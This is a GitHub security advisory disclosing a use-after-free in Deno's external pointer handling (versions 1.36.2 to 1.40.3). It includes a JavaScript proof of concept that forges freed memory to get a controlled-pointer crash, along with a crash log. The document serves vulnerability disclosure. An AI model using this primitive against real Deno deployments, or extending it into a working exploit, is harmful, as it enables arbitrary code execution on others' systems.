GitHub Security Advisory: GHSA-3j27-563v-28wf
Package: Deno (RUST)
Severity: HIGH (CVSS 8.4)
CWE: CWE-416: Use After Free
Vulnerable versions: >= 1.36.2, < 1.40.3
Patched in: 1.40.3

Summary: *const c_void / ExternalPointer unsoundness leading to use-after-free

Details:
### Summary

Use of inherently unsafe `*const c_void` and `ExternalPointer` leads to use-after-free access of the underlying structure, resulting in arbitrary code execution.


### Details

`*const c_void` and `ExternalPointer` (defined via `external!()` macros) types are used to represent `v8::External` wrapping arbitrary `void*` with an external lifetime. This is inherently unsafe as we are effectively eliding all Rust lifetime safety guarantees.

`*const c_void` is trivially unsafe. `ExternalPointer` attempts to resolve this issue by wrapping the underlying pointer with a `usize`d marker ([`ExternalWithMarker<T>`](https://github.com/denoland/deno_core/blob/a2838062a8f51926140a48a8aa926330c6f9070c/core/external.rs#L49)).

However, the marker [relies on the randomness of PIE address (binary base address)](https://github.com/denoland/deno_core/blob/a2838062a8f51926140a48a8aa926330c6f9070c/core/external.rs#L10) which is still trivially exploitable for a non-PIE binary. It is also equally exploitable on a PIE binary when an attacker is able to derandomize the PIE address. This is problematic as it escalates an information leak of the PIE address into an exploitable vulnerability.

Note that an attacker able to control code executed inside the Deno runtime is very likely to be able to bypass ASLR with any means necessary (e.g. by chaining another vulnerability, or by using other granted permissions such as `--allow-read` to read `/proc/self/maps`).


### PoC

For simplicity, we use Deno version 1.38.0 where streaming operations uses `*const c_void`. Testing environment is Docker image `denoland/deno:alpine-1.38.0@sha256:fe51a00f4fbbaf1e72b29667c3eeeda429160cef2342f22a92c3820020d41f38` although the exact versions shouldn't matter much if it's in 1.36.2 up to 1.38.0 (before `ExternalPointer` patch, refer Impact section for details)

```js
const ops = Deno[Deno.internal].core.ops;
const rid = ops.op_readable_stream_resource_allocate();
const sink = ops.op_readable_stream_resource_get_sink(rid);

// close
ops.op_readable_stream_resource_close(sink);
ops.op_readable_stream_resource_close(sink);

// reclaim BoundedBufferChannelInner
const ab = new ArrayBuffer(0x8058);
const dv = new DataView(ab);

// forge chunk contents
dv.setBigUint64(0, 2n, true);
dv.setBigUint64(0x8030, 0x1337c0d30000n, true);

// trigger segfault
Deno.close(rid);
```

Below is the dmesg log after the crash. We see that Deno has segfaulted on `1337c0d30008`, which is +8 of what we have written at offset 0x8030. Note also that the dereferenced value will immediately be used as a function pointer, with the first argument dereferenced from offset 0x8038 - it is trivial to use this to build an end-to-end exploit.

```text
[ 6439.821046] deno[15088]: segfault at 1337c0d30008 ip 0000557b53e2fb3e sp 00007fffd485ac70 error 4 in deno[557b51714000+2d7f000] likely on CPU 12 (core 12, socket 0)
[ 6439.821054] Code: 00 00 00 00 48 85 c0 74 03 ff 50 08 49 8b 86 30 80 00 00 49 8b be 38 80 00 00 49 c